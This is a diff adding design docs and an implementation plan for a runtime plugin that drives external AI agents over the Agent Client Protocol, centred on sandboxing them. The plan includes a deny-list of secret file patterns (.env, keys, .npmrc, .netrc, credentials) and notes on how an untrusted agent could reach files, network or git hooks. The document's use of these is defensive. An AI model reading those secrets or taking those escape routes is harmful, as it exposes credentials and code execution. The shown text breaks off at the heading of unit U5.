diff --git a/.changeset/acp-client-runtime.md b/.changeset/acp-client-runtime.md new file mode 100644 index 0000000000..1d580e1511 --- /dev/null +++ b/.changeset/acp-client-runtime.md @@ -0,0 +1,17 @@ +--- +"@runfusion/fusion": minor +--- + +Add an ACP (Agent Client Protocol) client runtime plugin (`runtimeId: "acp"`) +that drives any external ACP-compatible agent over JSON-RPC/stdio, built on the +official `@agentclientprotocol/sdk`. Installed on demand (experimental). + +The agent runs as an untrusted subprocess that calls back into Fusion, so the +integration ships a defense-in-depth security floor: per-category permission +gating against the live policy (never a preset shortcut; `allow_once` only; +unmappable kinds and missing policy default-deny), an unrestricted-risk +acknowledgement that escalates blanket allows to approval under the allow-all +default, an opt-in filesystem capability behind a real symlink-resolving cwd jail +(realpath + `O_NOFOLLOW`, secret/`.git` deny-list, writes gated through the +permission policy), untrusted-output sanitization and bounds, and an env +allow-list for the subprocess. diff --git a/docs/acp-contract.md b/docs/acp-contract.md new file mode 100644 index 0000000000..2e40f2cdfa --- /dev/null +++ b/docs/acp-contract.md @@ -0,0 +1,66 @@ +# ACP (Agent Client Protocol) Runtime Contract + +Date: 2026-06-03 + +Launch/readiness contract and failure taxonomy for `fusion-plugin-acp-runtime`, +which drives any external [Agent Client Protocol](https://agentclientprotocol.com) +agent over JSON-RPC/stdio. Mirrors the shape of `docs/cursor-cli-contract.md`. + +## Transport + +- **Newline-delimited JSON-RPC 2.0 over stdio** (no Content-Length framing). + Provided by `@agentclientprotocol/sdk` (`ndJsonStream` + `ClientSideConnection`). +- The client (Fusion) launches the agent as a subprocess with piped stdio. The + agent's stdin is the JSON-RPC *output* stream; its stdout is the *input* stream. +- `stderr` is captured (redacted) for diagnostics, never parsed as protocol. + +## Invocation and binary detection + +- Unlike a single-vendor CLI, ACP is a protocol — the agent binary + ACP-mode + flag are user-configured: + - `acpBinaryPath` — e.g. `gemini`, `npx`, or an absolute path. + - `acpArgs` — the flag(s) that put the agent in ACP/stdio mode, e.g. `["--acp"]`. +- The subprocess environment is built from the `acpEnvAllowList` allow-list only + (inherited `process.env` is **not** forwarded — the agent is untrusted). + +## Readiness = the `initialize` handshake + +There is no `--version` probe. Readiness is the protocol handshake itself: + +1. Spawn the agent subprocess. +2. Send `initialize { protocolVersion: 1, clientCapabilities: { fs } }` under a + timeout (default 30s — research flagged Gemini-on-macOS OAuth and Claude-adapter + `session/new` stalls). +3. The agent responds with its integer `protocolVersion`, `agentCapabilities`, + and `authMethods`. +4. The client compares the integer protocol version; an unsupported version is a + hard failure (do not assume the agent errors first). + +`fs` capabilities are advertised **only** when `acpFsRead`/`acpFsWrite` are +enabled (writes default OFF). + +## Failure taxonomy (`probe.ts` `AcpProbeReason`) + +| Reason | Trigger | +| --- | --- | +| `ok` | Handshake completed (with `authRequired: true` when `authMethods` is non-empty) | +| `missing_binary` | Spawn `ENOENT` (binary not found, code 127) | +| `spawn_error` | Other spawn failure | +| `handshake_timeout` | `initialize` did not complete within the bound (code 124) | +| `incompatible_protocol` | Agent negotiated an unsupported integer protocol version | +| `unauthenticated` | Agent requires an auth method the client cannot satisfy | + +## Lifecycle / teardown + +- The engine has no `AbortSignal` in the runtime contract; teardown enters via an + unawaited synchronous `dispose()` plus the process-registry kill. The + **registry SIGKILL is the authoritative no-orphan / no-deadlock guarantee**; a + best-effort `session/cancel` + pending-permission drain runs first when timing + allows but is opportunistic. + +## Sources + +- https://agentclientprotocol.com (introduction, schema, transports, initialization, tool-calls) +- `@agentclientprotocol/sdk` v0.24.0 — https://www.npmjs.com/package/@agentclientprotocol/sdk +- Validation: the SDK example echo agent (CI) + an in-repo controllable fixture + (`src/__tests__/fixtures/echo-agent.mjs`); Gemini CLI / Claude-adapter for manual e2e. diff --git a/docs/plans/2026-06-02-002-feat-acp-client-integration-plan.md b/docs/plans/2026-06-02-002-feat-acp-client-integration-plan.md new file mode 100644 index 0000000000..eb068d0361 --- /dev/null +++ b/docs/plans/2026-06-02-002-feat-acp-client-integration-plan.md @@ -0,0 +1,504 @@ +--- +title: "feat: Add ACP (Agent Client Protocol) client integration" +type: feat +status: completed +date: 2026-06-02 +deepened: 2026-06-02 +depth: deep +--- + +# feat: Add ACP (Agent Client Protocol) client integration + +## Summary + +Add a new `plugins/fusion-plugin-acp-runtime` plugin that lets Fusion drive **any** external Agent-Client-Protocol agent over JSON-RPC/stdio: spawn the agent subprocess, negotiate the `initialize` handshake, open and prompt sessions, stream `session/update` notifications into Fusion's runtime callbacks, and route the agent's `session/request_permission` requests into Fusion's permission/approval surface. Built generically against the official `@agentclientprotocol/sdk` (no single reference agent), validated in CI against the SDK's example echo agent. + +--- + +## Problem Frame + +Fusion's thesis (see `STRATEGY.md`) is to be the model- and surface-agnostic orchestration layer, with a plugin ecosystem so it adapts as agents evolve. Today every agent integration is bespoke: `plugins/fusion-plugin-droid-runtime` drives the Droid CLI, `fusion-plugin-cursor-runtime` drives Cursor, `fusion-plugin-hermes-runtime`, `fusion-plugin-openclaw-runtime`, and `packages/pi-claude-cli` (now a thin shim) each hand-roll a subprocess transport, a stdout parser, and an event bridge for one specific tool. + +ACP is an open, versioned protocol (Zed Industries; protocol version `1`) that standardizes exactly this client↔agent contract. A single ACP-client integration unlocks **every** ACP-compatible agent — Gemini CLI, the Claude Code ACP adapter, and any future agent that speaks the protocol — through one well-specified surface instead of N bespoke ones. This is the highest-leverage expression of the "ecosystem breadth" and "neutral by design" tracks. + +Two facts from research make this a distinct shape from the existing integrations: + +1. Every current integration is **one-shot / request-scoped** (write one NDJSON turn, read stdout, force-kill). ACP is a **persistent, bidirectional JSON-RPC peer** over stdio: the agent calls *back into the client* mid-turn (permission prompts, filesystem reads). The transport core is genuinely new. +2. The official `@agentclientprotocol/sdk` (TypeScript, Apache-2.0, production-stable) provides the transport, framing, connection classes, and types — so the new work is integration and mapping, not protocol plumbing from scratch. + +This plan covers the **client** direction only (Fusion drives external agents). The reverse direction (Fusion exposing *itself* as an ACP agent for editors like Zed) is explicitly out of scope. + +--- + +## Requirements + +- **R1** — Fusion can launch a configured ACP agent binary as a subprocess and complete the `initialize` capability handshake, including integer protocol-version negotiation and a readiness timeout. +- **R2** — Fusion can open a session (`session/new`), send a user turn (`session/prompt`), and receive the terminal `stopReason`. +- **R3** — Streaming `session/update` notifications (agent text, reasoning, tool calls, plan) are mapped onto the existing `AgentRuntime` callbacks (`onText`, `onThinking`, `onToolStart`, `onToolEnd`) so ACP agents appear in Fusion's UI/logs identically to existing runtimes. +- **R4** — The agent's `session/request_permission` requests are answered according to Fusion's agent permission policy, with correct cancellation semantics. +- **R5** — Run teardown (engine stuck-task detection / executor timeout) invokes the runtime's `dispose()` and force-kills the subprocess; no orphaned processes survive. A best-effort `session/cancel` + pending-permission drain runs first when teardown timing allows, but the **process-registry SIGKILL is the authoritative no-orphan / no-deadlock guarantee** — see KTD4a. +- **R6** — The plugin ships inside the published `@runfusion/fusion` CLI and is discoverable/selectable via the existing plugin-runtime resolution path (`runtimeId: "acp"`). +- **R7** — The integration is validated in CI with no API keys or network: the SDK example echo agent covers handshake + text passthrough, and a small **controllable in-repo fixture agent** deterministically exercises the security-floor paths the echo agent never reaches — `session/request_permission` (allow/deny/post-cancel), `fs/read|write`, `tool_call_*` updates, full-replace `plan` updates, and cancel-mid-prompt. Real agents (Gemini CLI, the Claude-adapter) remain manual e2e. +- **R8** — Third-party-integration evidence (upstream repo, docs, release, binary name, checksum/marker) is recorded per `AGENTS.md`. + +**Success criteria:** a user can configure an ACP agent, assign a Fusion task/agent to `runtimeId: "acp"`, and watch the agent stream text + tool calls and honor the user's permission policy — with the same lifecycle guarantees (abort, no orphans) as the Droid/Cursor runtimes. + +--- + +## Key Technical Decisions + +- **KTD1 — Build as a runtime plugin (`plugins/fusion-plugin-acp-runtime`), not a `packages/*-cli` package.** Research confirmed the `packages/pi-claude-cli` / `droid-cli` packages are now thin compatibility shims; the canonical integration shape is a first-class plugin under `plugins/` using `@fusion/plugin-sdk`'s `definePlugin` with a `runtime` manifest + `AgentRuntime` adapter (see `plugins/fusion-plugin-droid-runtime` and `fusion-plugin-cursor-runtime`). This is the resolution of the planning-time "integration shape" fork: follow the established plugin-runtime pattern for consistency and discovery (`getRuntimeById`). The dashboard `uiSlots` cards (settings/onboarding) are available via the same shape but are deferred to follow-up in v1 (see Scope Boundaries) — the runtime is selectable without them. + +- **KTD2 — Depend on `@agentclientprotocol/sdk` (Apache-2.0), API-verified at install; do not hand-roll JSON-RPC or vendor schema.** The SDK provides `ClientSideConnection`, the `Client` interface, `ndJsonStream`, the `PROTOCOL_VERSION` constant, and all request/response types tracking the canonical schema. Hand-rolling newline-delimited JSON-RPC framing or vendoring types would duplicate a maintained dependency. **Caveat:** the SDK is v0.24.0, released 2026-06-02 and not yet installed here — "stable" is an external claim, not verified locally. Pin the version and **verify the named exports at install (U1) before designing against them** — a breaking export collapses U2 and the no-plumbing premise, so it is a U1 blocker. License is compatible with the repo (MIT workspace). Per `AGENTS.md` external-integration evidence, the dependency and the agent binaries it targets must be cited in PROMPT.md. _(see external research: agentclientprotocol.com, npm `@agentclientprotocol/sdk`.)_ + +- **KTD3 — Consume the gate context Fusion already threads into every runtime; no contract change.** The ACP `Client.requestPermission` handler must answer synchronously (the agent blocks on it). The engine's canonical `AgentRuntimeOptions` (`packages/engine/src/agent-runtime.ts:35-106`) **already carries `actionGateContext?: AgentActionGateContext`** (line 103), it is **already populated per-run** at every call site via `buildActionGateContext(...)` (`executor.ts:4303/4720/3630`, `agent-heartbeat.ts:2579`, `step-session-executor.ts`), and it **already reaches the runtime** through the single funnel `createResolvedAgentSession` (`agent-session-helpers.ts:335`). `AgentActionGateContext` (`agent-action-gate.ts:30`) already bundles `permissionPolicy` plus the closures the HITL flow needs (`createApprovalRequest`, `findApprovalByDedupeKey`, `pauseForApproval`, `markApprovalCompleted`). So the ACP runtime simply **reads `options.actionGateContext`** in `createSession`, persists it on the session, and the `requestPermission` handler classifies each call via `evaluateAgentActionGate` + `resolveGateOutcome`. _(This corrects an earlier premise that the shared contract had no permission channel — it does, and `plugins/fusion-plugin-droid-runtime/src/types.ts:110` is a plugin-local structural copy the engine never imports. The discarded alternative of adding an `onPermissionRequest?` callback to the contract is unnecessary and would create a redundant second channel to the same approval store.)_ To keep the boundary clean, the plugin depends on a **narrow local `PermissionGate` interface** (the closures + policy it uses), accepting the structurally-compatible `actionGateContext` rather than importing `@fusion/engine` internals. + +- **KTD3a — Per-category gating is the v1 floor, not a deferred enhancement (security-critical).** Fusion's shipped default policy is `unrestricted` (`DEFAULT_AGENT_PERMISSION_POLICY_PRESET_ID = "unrestricted"`), which maps every action category to `allow`. A naive preset→outcome mapping would therefore auto-approve **every** tool call of an untrusted external subprocess the moment a user selects the ACP runtime without changing policy. The `requestPermission` floor (U5) must classify each `toolCall.kind` into a gate category and consult the **per-category disposition** (`permissionPolicy.rules[category]`), never the preset id: categories set to `block` reject, `require-approval` either routes to the HITL approval flow or — when no human channel is available — **default-denies**, and only categories explicitly `allow` auto-approve. ACP's `toolCall.kind` is agent-defined, optional, and partial (U4); a **missing or unmappable `kind` must map to the most-restrictive category and default-deny**, never fall through to allow — otherwise an unclassifiable call under the `unrestricted` default reopens S1. See Risk S1. + +- **KTD4 — Reuse the proven subprocess hardening conventions verbatim.** Self-cleaning process registry (`registerProcess`/`killAllProcesses` on `exit`), async non-blocking presence/auth probes (resolve timeout code `124` / ENOENT `127`), stderr buffering surfaced on non-zero exit, and a high inactivity ceiling (the engine's `StuckTaskDetector` is the authoritative aborter). `killAll` is scoped to agent subprocesses only — never the dashboard/port-4040 (per existing kill-guard conventions). + +- **KTD4a — Teardown enters via synchronous `dispose()`, not a threaded `AbortSignal`; graceful cancel is opportunistic.** The canonical `AgentRuntime` contract (`packages/engine/src/agent-runtime.ts`) carries **no** `AbortSignal`, and the engine invokes teardown as an **unawaited synchronous `session.dispose()`** (`StuckTaskDetector`, executor timeout race) plus the `process.on("exit")` registry kill — the Droid adapter's `promptWithFallback` ignores its options arg entirely. So ACP cannot rely on an `AbortSignal` arriving via `promptWithFallback`. The ACP `dispose()` issues a best-effort `session/cancel` and resolves already-pending `requestPermission` promises with `{ cancelled }` synchronously, but because `dispose()` is not awaited, the JSON-RPC notification flush and any grace window may not complete — **the real guarantee is the registry SIGKILL.** "No agent deadlock" rests on the kill, not the drain; the drain is opportunistic cleanup. The plan does not assume a graceful round-trip the engine cannot await. + +- **KTD5 — v1 passes an empty `mcpServers` at `session/new`; Fusion-custom-tool forwarding via MCP is deferred.** Keeps v1 bounded. The agent operates over its `cwd` (the task worktree). Forwarding Fusion's custom pi-tools to the ACP agent (reusing the `mcp-config.ts` + `mcp-schema-server.cjs` schema-server machinery) is follow-up work. _(Confirmed scope decision.)_ + +- **KTD6 — Filesystem client capabilities are config-gated and default to a conservative posture (security-critical).** Many ACP agents rely on client-side `fs/read_text_file` / `fs/write_text_file` when sandboxed, but granting an untrusted subprocess read+write into the worktree by default is the wrong posture. Therefore: capabilities are advertised in `initialize` **only when the resolved settings enable them** (U2 reads the toggle, never hardcodes `true`); **`writeTextFile` defaults OFF** (opt-in per agent/project); `fs/write_text_file` is treated as a `file_write_delete` action-gate category (subject to the same permission policy as U5), not a free capability; and path access is confined by a dedicated realpath-resolving jail (see KTD6a). Terminal capabilities (`terminal/create`, `terminal/output`, …) are deferred — see KTD6b for the trust-boundary consequence. + +- **KTD6a — Filesystem confinement uses a real symlink-resolving jail, not a string-prefix check.** `packages/core/src/project-root-guard.ts` is a `.fusion`-suffix / git-worktree string check, **not** a path jail — it must not be reused for fs confinement. A dedicated `assertPathWithinCwd` helper must: resolve the real path with `fs.realpath` (following all symlinks), verify it is within the realpath of the session `cwd`, perform the check and the open atomically (`O_NOFOLLOW` on the final component or open-then-`fstat`-validate) to close TOCTOU, reject absolute paths / NUL bytes / separator tricks, and apply a **deny-list regardless of cwd membership**: hard-reject writes to `.git/**` (esp. `.git/hooks`, `.git/config` → RCE/token surface) and deny or gate reads of secret patterns (`.env*`, `*.pem`, `*.key`, `.npmrc`, `.netrc`, `id_*`, `credentials`) that legitimately live inside the worktree. See Risk S3. + +- **KTD6b — The agent's native syscalls are NOT sandboxed in v1; state the real trust boundary.** ACP permissions (U5) and fs confinement (U7) constrain only *protocol-mediated* actions. The agent subprocess runs with Fusion's user privileges and can spawn child processes and reach the network directly (and would fall back to that if it needed the deferred `terminal/*`). v1 mitigations: `cli-spawn.ts` builds the subprocess `env` from an **allow-list**, not inherited `process.env` (strip secret-bearing vars). OS-level sandboxing of the agent process (restricted uid / seccomp / `sandbox-exec` / container) is recommended but deferred. See Risk S6. + +--- + +## High-Level Technical Design + +### Component shape + +The plugin mirrors the `fusion-plugin-droid-runtime` module split, with the bespoke NDJSON transport replaced by the ACP SDK connection. + +```mermaid +flowchart TB + subgraph engine["@fusion/engine"] + RR["runtime-resolution.ts
getRuntimeById('acp')"] + GATE["agent-action-gate.ts
+ ApprovalRequestStore"] + end + subgraph plugin["plugins/fusion-plugin-acp-runtime"] + IDX["index.ts
definePlugin + runtime factory"] + ADP["runtime-adapter.ts
AgentRuntime impl"] + PROV["provider.ts
session driver"] + PROC["cli-spawn.ts / process-manager.ts
spawn + lifecycle + probe"] + BRIDGE["event-bridge.ts
session/update → callbacks"] + PERM["control-handler.ts
requestPermission resolver"] + FSCAP["fs-capabilities.ts
fs/read|write handlers"] + TYPES["types.ts"] + end + SDK["@agentclientprotocol/sdk
ClientSideConnection · ndJsonStream"] + AGENT["external ACP agent
(subprocess)"] + + RR --> IDX --> ADP --> PROV + PROV --> PROC --> AGENT + PROV --> SDK <--> AGENT + PROV --> BRIDGE --> ADP + PROV --> PERM --> GATE + PROV --> FSCAP +``` + +### Protocol lifecycle (one prompt turn) + +```mermaid +sequenceDiagram + participant F as Fusion (provider.ts) + participant S as SDK ClientSideConnection + participant A as ACP Agent (subprocess) + + F->>A: spawn(binary, args), stdio pipes + F->>S: ndJsonStream(stdin, stdout) → ClientSideConnection(Client impl) + F->>A: initialize{protocolVersion:1, clientCapabilities} + A-->>F: {protocolVersion:1, agentCapabilities, authMethods} + opt authMethods non-empty + F->>A: authenticate{methodId} + end + F->>A: session/new{cwd, mcpServers:[]} + A-->>F: {sessionId, modes} + F->>A: session/prompt{sessionId, prompt[]} + loop streaming + A--)F: session/update (content_chunk / tool_call_* / plan) + Note over F: event-bridge → onText/onThinking/onToolStart/onToolEnd + opt agent needs approval + A->>F: session/request_permission{toolCall, options} + F->>A: {outcome: selected, optionId} | {outcome: cancelled} + end + opt agent reads/writes file + A->>F: fs/read_text_file | fs/write_text_file + F-->>A: {content} | {} + end + end + A-->>F: session/prompt → {stopReason} + Note over F: drain updates, push terminal done + opt abort + F--)A: session/cancel (notification) + Note over F: respond {cancelled} to all pending permission reqs, then SIGKILL fallback + end +``` + +_Diagrams render authoritative design intent; prose governs on any disagreement._ + +--- + +## Output Structure + +``` +plugins/fusion-plugin-acp-runtime/ +├── manifest.json # id + runtime{ runtimeId:"acp" } +├── package.json # @agentclientprotocol/sdk dep; pi peerDeps; private +├── tsconfig.json +├── vitest.config.ts +├── README.md # integration notes + UPSTREAM evidence +├── src/ +│ ├── index.ts # definePlugin: manifest + runtime factory + uiSlots +│ ├── runtime-adapter.ts # AgentRuntime: createSession/promptWithFallback/describeModel/dispose +│ ├── provider.ts # ACP session driver (connection, prompt, lifecycle) +│ ├── cli-spawn.ts # resolveCliSettings (binary, args, acp flag) +│ ├── process-manager.ts # spawn, registry, dispose→cancel→kill, stderr, idle timeout +│ ├── probe.ts # async presence/handshake readiness probe + failure taxonomy +│ ├── prompt-builder.ts # build ACP ContentBlock[] from prompt (text/image) +│ ├── event-bridge.ts # session/update → AgentRuntime callbacks (+ output bounds) +│ ├── tool-mapping.ts # ACP tool kind/title → display name; arg normalization +│ ├── control-handler.ts # requestPermission: per-category gate resolver + HITL +│ ├── fs-capabilities.ts # fs/read_text_file + fs/write_text_file handlers +│ ├── path-jail.ts # assertPathWithinCwd: realpath jail + deny-list +│ ├── sanitize.ts # strip ANSI/control from untrusted agent strings +│ ├── types.ts # ACP-adjacent local types + local PermissionGate +│ └── __tests__/ # one *.test.ts per module +└── (no mcp-schema-server.cjs in v1 — MCP forwarding deferred, KTD5) +``` + +The per-unit `**Files:**` lists are authoritative; this tree is the scope declaration. + +--- + +## Implementation Units + +### U1. Scaffold the `fusion-plugin-acp-runtime` plugin and wire it into the workspace + +**Goal:** A loadable, empty-but-valid runtime plugin registered as `runtimeId: "acp"`, with the ACP SDK dependency installed. + +**Requirements:** R6, R8 (partial) + +**Dependencies:** none + +**Files:** +- `plugins/fusion-plugin-acp-runtime/manifest.json` (new) +- `plugins/fusion-plugin-acp-runtime/package.json` (new) — add `@agentclientprotocol/sdk` dependency, `@fusion/plugin-sdk` workspace dep, pi peerDeps, `private: true`, `keywords: ["fusion-plugin","acp","runtime"]` +- `plugins/fusion-plugin-acp-runtime/tsconfig.json`, `vitest.config.ts` (new) +- `plugins/fusion-plugin-acp-runtime/src/index.ts` (new) — `definePlugin({ manifest, runtime: { metadata, factory }, uiSlots })` +- `plugins/fusion-plugin-acp-runtime/src/runtime-adapter.ts` (new) — `AgentRuntime` skeleton +- `plugins/fusion-plugin-acp-runtime/src/types.ts`, `cli-spawn.ts` (new) +- `pnpm-workspace.yaml` (modify) — add `plugins/fusion-plugin-acp-runtime` +- `plugins/fusion-plugin-acp-runtime/src/__tests__/index.test.ts` (new) + +**Approach:** **First, verify the SDK.** `@agentclientprotocol/sdk` v0.24.0 was released 2026-06-02 (the plan's authoring day) and is not yet installed in the workspace — so before anything is designed against it, install it and add a smoke-import test asserting the load-bearing exports exist with the assumed shapes (`ClientSideConnection`, `ndJsonStream`, `PROTOCOL_VERSION`, the `Client` interface). A missing/renamed export is a **U1 blocker**, not a late surprise in U2 — the whole "no protocol plumbing from scratch" premise (KTD2) depends on these. Then mirror `plugins/fusion-plugin-droid-runtime/src/index.ts` and `manifest.json`: runtime metadata `{ runtimeId: "acp", name: "ACP Runtime", … }`; `runtime-adapter.ts` implements the **full** `AgentRuntime` interface (`plugins/fusion-plugin-droid-runtime/src/types.ts:128`) — `createSession`, `promptWithFallback`, **`describeModel` (required — returns e.g. the agent binary name + negotiated mode)**, and `dispose` — with stubs that throw `not_implemented` until later units. `cli-spawn.ts` provides `resolveCliSettings(settings)` returning `{ binaryPath, args, env }` from plugin settings. + +**Patterns to follow:** `plugins/fusion-plugin-droid-runtime` (index, manifest, package.json, runtime-adapter shape including `describeModel`). + +**Test scenarios:** +- **SDK smoke-import:** `ClientSideConnection`, `ndJsonStream`, and `PROTOCOL_VERSION` are importable from `@agentclientprotocol/sdk` and have the expected shapes; a missing export fails the test (blocks the unit). +- Plugin module default-export is a valid `FusionPlugin`; `manifest.runtime.runtimeId === "acp"`. +- `definePlugin` does not throw at import; `runtime.factory(ctx)` returns an object conforming to `AgentRuntime` (has `id`, `name`, `createSession`, `promptWithFallback`, **`describeModel`**). +- `resolveCliSettings` returns defaults when given `undefined` and honors an explicit `binaryPath`/`args` override. +- Test expectation for stubs: `createSession`/`promptWithFallback` reject with a recognizable `not_implemented` marker (placeholder until U3). + +--- + +### U2. ACP transport, handshake, and subprocess lifecycle + +**Goal:** Spawn the agent, establish a `ClientSideConnection`, complete `initialize` with version negotiation and a readiness timeout, and provide hardened spawn/abort/teardown with a presence probe. + +**Requirements:** R1, R5 + +**Dependencies:** U1 + +**Files:** +- `plugins/fusion-plugin-acp-runtime/src/process-manager.ts` (new) — `spawnAgent`, process registry (`registerProcess`/`killAllProcesses`), `forceKill`, stderr capture, idle timeout +- `plugins/fusion-plugin-acp-runtime/src/probe.ts` (new) — async `validateAgentPresence` / `validateAcpReadiness` +- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (new, partial) — `connect()`: `spawn` → `ndJsonStream(Writable.toWeb(stdin), Readable.toWeb(stdout))` → `new ClientSideConnection(clientImpl, stream)` → `initialize` +- `plugins/fusion-plugin-acp-runtime/src/__tests__/process-manager.test.ts`, `probe.test.ts`, `provider-handshake.test.ts` (new) +- `package.json` (modify) — devDependency on the ACP SDK example agent (or pin a tiny in-repo echo agent fixture) +- `plugins/fusion-plugin-acp-runtime/src/__tests__/fixtures/controllable-agent.ts` (new) — a deterministic in-repo ACP agent that, on command, issues `session/request_permission`, `fs/read|write`, `tool_call_*`, `plan` replacement, and a post-cancel permission request, so U5/U6/U7 security-floor tests run against a real callback-capable peer (R7) + +**Approach:** Spawn with `stdio: ["pipe","pipe","pipe"]`, building the subprocess `env` from an **allow-list** (not inherited `process.env`) so secret-bearing vars are not handed to the untrusted agent (KTD6b). Wrap Node streams via `Writable.toWeb`/`Readable.toWeb` for `ndJsonStream`. Send `initialize{ protocolVersion: PROTOCOL_VERSION, clientCapabilities: { fs: } }` where the `fs` capability flags are **read from resolved settings, never hardcoded `true`** — advertise `readTextFile`/`writeTextFile` only when enabled, and only because the U7 handlers exist (KTD6). Compare the agent's returned integer `protocolVersion`; if unsupported, close and surface a typed error (do not assume the agent errors first). Guard `initialize()` with a timeout (research notes Gemini-on-macOS and Claude-adapter stalls). For `authMethods` requiring interactive credentials, surface to the user rather than auto-supplying from ambient env; the auth handler must **not** read credentials from `process.env` (the env allow-list strips the *subprocess* env, not Fusion's own handler), credentials collected interactively are held **in-memory for the session lifetime only** (never written to disk), and **tokens/auth payloads are redacted from the stderr buffer and logs** (KTD4's stderr-on-failure surfacing would otherwise leak auth errors verbatim — Risk S8). If no interactive auth surface exists in v1, reject with a descriptive error rather than building an undeclared UI. Process registry self-cleans on `proc.on("exit")`; `process.on("exit", killAllProcesses)` registered in `index.ts`. Teardown is registry-SIGKILL-authoritative with best-effort `session/cancel` (KTD4a); the registry kill is what removes the process, not the cancel round-trip. Idle ceiling high (engine is authoritative aborter). Probe failure taxonomy: missing binary (`127`), handshake timeout (`124`), incompatible protocol version, unauthenticated. + +**Execution note:** Start with a failing integration test driving the SDK example echo agent through `initialize`. + +**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/process-manager.ts` (registry, async probes, stderr buffering, kill grace); `probe.ts` failure-taxonomy pattern; `docs/cursor-cli-contract.md`. + +**Test scenarios:** +- Happy path: spawning the example agent and sending `initialize` returns a compatible `protocolVersion` and agent capabilities. +- Version mismatch: agent returns an unsupported integer → connection closes with a typed `incompatible_protocol` error, no hang. +- `initialize` timeout: agent never responds → rejects with `handshake_timeout` within the bound; subprocess force-killed. +- Spawn failure: nonexistent binary → probe resolves `missing_binary` (`127`), never throws into the event loop. +- Abort during handshake: `dispose()` / registry teardown → subprocess SIGKILLed, registry entry removed (no `AbortSignal` dependency — KTD4a). +- Registry: two spawned agents both removed from the active set on exit; `killAllProcesses` reaps survivors and does **not** target the dashboard port. +- Capability gating: with fs settings disabled, `initialize` advertises `fs` as absent/false; with them enabled, advertises true. +- Env allow-list: a secret-bearing var present in `process.env` is **not** present in the spawned agent's environment unless explicitly allow-listed. +- Auth redaction: a simulated auth error containing a token does not appear verbatim in captured stderr/logs. + +--- + +### U3. Session lifecycle and prompt driving + +**Goal:** Open/reuse a session, send a prompt turn, await `stopReason`, and support cancellation and resume — exposed through the `AgentRuntime` adapter. + +**Requirements:** R2, R5 + +**Dependencies:** U2 + +**Files:** +- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (modify) — `session/new` (`{ cwd, mcpServers: [] }`), `session/prompt`, `session/cancel`, `session/load`/`session/resume`, `session/close` +- `plugins/fusion-plugin-acp-runtime/src/runtime-adapter.ts` (modify) — `createSession` opens the connection + `session/new`; `promptWithFallback` drives `session/prompt`; `dispose` closes session + tears down process +- `plugins/fusion-plugin-acp-runtime/src/prompt-builder.ts` (new) — build ACP `ContentBlock[]` from the prompt string (text; image passthrough where present) +- `plugins/fusion-plugin-acp-runtime/src/__tests__/provider-session.test.ts`, `runtime-adapter.test.ts`, `prompt-builder.test.ts` (new) + +**Approach:** `createSession(options)` connects (U2) and issues `session/new` with `options.cwd`. Persist on the session object: `sessionId`, `cwd`, and **`options.actionGateContext`** (already populated by the engine — KTD3) so the U5 permission handler and U7 fs handlers can reach the live gate and the confinement root. `promptWithFallback(session, prompt)` sends `session/prompt`, resolving the returned promise only after `stopReason` arrives (research pitfall: `session/prompt` resolves *after* all updates are delivered — drain the bridge before reporting done). Map `stopReason` (`end_turn` | `tool_calls` | `cancelled`) to terminal completion. **Teardown enters via `dispose()` (KTD4a), not an `AbortSignal`** — `dispose()` issues a best-effort `session/cancel` **notification** (fire-and-forget; no ack), drains already-pending permission promises with `{ cancelled }` synchronously, then the registry SIGKILL is the authoritative guarantee. Because the engine calls `dispose()` unawaited, treat the cancel/drain as opportunistic, not guaranteed. Resume: prefer `session/load` (replay history) vs `session/resume` (no replay) based on whether prior transcript is needed; expose via the adapter's session-file/resume path. + +**Execution note:** Drive a full turn against the example agent before adding mapping detail. + +**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/runtime-adapter.ts` (createSession/promptWithFallback shape, callback wiring); `provider.ts` terminal-event discipline. + +**Test scenarios:** +- Happy path: `createSession` → `promptWithFallback("hello")` against the example agent resolves after `stopReason` with the echoed text delivered via `onText`. +- Cancellation: abort mid-prompt → `session/cancel` sent; promise resolves with a `cancelled` outcome; no further callbacks fire after resolution. +- Resume: a session opened with a prior `sessionId`/transcript uses `session/load`; a no-replay resume uses `session/resume`. +- `dispose` closes the session and tears down the subprocess; idempotent if called twice. +- `createSession` persists `actionGateContext` and `cwd` on the session; both are reachable from a mock `requestPermission` / fs handler. +- Prompt builder: plain text → single text `ContentBlock`; an image-bearing prompt produces an image block; empty prompt handled. +- Ordering: prompt promise does not resolve before the last `session/update` for the turn is drained (guard against truncation). + +--- + +### U4. `session/update` → runtime-callback event bridge + +**Goal:** Translate every relevant `session/update` variant into the `AgentRuntime` callbacks so ACP agents render identically to existing runtimes. + +**Requirements:** R3 + +**Dependencies:** U3 + +**Files:** +- `plugins/fusion-plugin-acp-runtime/src/event-bridge.ts` (new) — `handleSessionUpdate(update, callbacks)` +- `plugins/fusion-plugin-acp-runtime/src/tool-mapping.ts` (new) — ACP tool `kind`/`title` → display name; arg normalization +- `plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge.test.ts`, `tool-mapping.test.ts` (new) + +**Approach:** Discriminate on `sessionUpdate` tag: +- `content` / `content_chunk` (text `ContentBlock`) → `onText`. Apply delta-space normalization across split chunks (known downstream bug in existing bridges). +- thought/reasoning chunk → `onThinking`. +- `tool_call_started` (`ToolCallUpdate`) → `onToolStart(title/kind, rawInput)`; `tool_call_finished` → `onToolEnd(title, status === "failed", rawOutput/content)`. Track calls by stable `toolCallId`; updates are partial (all fields except `toolCallId` optional). +- `plan` → surface as a thinking/log line; **treat each plan update as a full-list replacement, never append** (research pitfall). +- `available_commands_update` / `current_mode_update` / `config_option_update` → store/log; no callback surface in v1. + +**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/event-bridge.ts` (tolerant partial parse, empty-args → `{}` default, "don't push done early", `normalizeStreamingDelta`). + +**Test scenarios:** +- `content_chunk` sequence reconstructs the full agent message via successive `onText` calls; dropped inter-chunk space is repaired. +- A thought chunk routes to `onThinking`, not `onText`. +- Tool-call lifecycle: `tool_call_started` → `onToolStart` with mapped title; later `tool_call_finished` with `status:"failed"` → `onToolEnd(..., isError=true)`; same `toolCallId` correlates start/end. +- Plan update: two successive `plan` updates → the second fully replaces the first (no accumulation/duplication). +- Unknown/forward-compat `sessionUpdate` tag is ignored without throwing. +- Tool mapping: an `execute`-kind call with no `title` falls back to a sensible label; missing `rawInput` does not crash. + +--- + +### U5. `session/request_permission` — per-category gate floor, HITL approval, and cancellation safety + 